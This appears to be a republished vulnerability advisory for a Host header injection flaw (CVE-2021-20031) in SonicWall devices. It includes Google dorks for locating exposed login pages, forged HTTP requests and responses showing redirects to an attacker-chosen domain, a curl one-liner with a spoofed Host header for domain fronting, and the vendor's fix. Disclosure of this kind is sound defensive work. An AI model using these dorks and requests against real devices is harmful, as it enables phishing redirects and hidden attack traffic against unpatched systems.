Exploit/Advisories no image

Published on October 13th, 2021 📆 | 5794 Views ⚑

0

Sonicwall SonicOS 7.0 Host Header Injection – Torchsec


Text to Speech

# Exploit Title: Sonicwall SonicOS 7.0 - Host Header Injection
# Google Dork: inurl:"auth.html" intitle:"SonicWall"
# intitle:"SonicWall Analyzer Login"
# Discovered Date: 03/09/2020
# Reported Date: 07/09/2020
# Exploit Author: Ramikan
# Vendor Homepage:sonicwall.com
# Affected Devices: All SonicWall Next Gen 6 Devices
# Tested On: SonicWall NAS 6.2.5
# Affected Version: All SonicWall Next Gen 6 Devices till 6.5.3
# Fixed Version:Gen6 firmware 6.5.4.8-89n
# CVE : CVE-2021-20031
# CVSS v3:5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
# Category:Hardware, Web Apps
# Reference : https://github.com/Ramikan/Vulnerabilities/

*************************************************************************************************************************************

Vulnerability 1: Host Header Injection

*************************************************************************************************************************************
Description:
A Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages.
An issue was discovered in Sonicwall NAS, SonicWall Analyzer version 8.5.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack

Impact:
Host Header changed to different domain (fakedomain.com).
Fakedomain.com can be found in two lines in the HTTP response, below are the two lines.

var jumpURL = "https://fakedomain.com/auth.html";
ease be patient as you are being re-directed to a secure login page

*************************************************************************************************************************************
Normal Request
*************************************************************************************************************************************
GET / HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

*************************************************************************************************************************************
Normal Response
*************************************************************************************************************************************
HTTP/1.0 200 OK
Server: SonicWALL
Expires: -1
Cache-Control: no-cache
Content-type: text/html; charset=UTF-8;
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' blob: data: ws: wss: sonicwall.com *.sonicwall.com;

< !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

++++++++++++++++++snipped+++++++++++++++++++++++

*************************************************************************************************************************************
POC
*************************************************************************************************************************************

Host Header changed to different domain (fakedomain.com).
Fakedomain.com can be found in two lines in the response, below are the two lines.

var jumpURL = "https://fakedomain.com/auth.html";
ease be patient as you are being re-directed to a secure login page





*************************************************************************************************************************************
Request:
*************************************************************************************************************************************
GET / HTTP/1.1
Host: fakedomain.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Upgrade-Insecure-Requests: 1
Connection: close
Cookie: temp=

*************************************************************************************************************************************
Response:
*************************************************************************************************************************************

HTTP/1.0 200 OK
Server: SonicWALL
Expires: -1
Cache-Control: no-cache
Content-type: text/html; charset=UTF-8;
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' blob: data: ws: wss: sonicwall.com *.sonicwall.com;

< !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


Document Moved

The redirection is happening to https://fakedomain.com/auth.html.

*************************************************************************************************************************************
Attack Vector:
*************************************************************************************************************************************
Can be used for domain fronting.

curl -k --header "Host: attack.host.net" "Domain Name of the Sonicwall device"

*************************************************************************************************************************************
Vendor Response:
*************************************************************************************************************************************
Fix: SonicWall has fixed the issue in Gen6 firmware 6.5.4.8-89n (build is available in mysonicwall.com) - fix is provided with a CLI option > configure > administration > enforce-http-host-check, to avoid Host header redirection.
Workaround: Please disable port 80 to mitigate it and this issue affected all Gen6 firewall products.

https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0019
*************************************************************************************************************************************

Source link

Tagged with:



Comments are closed.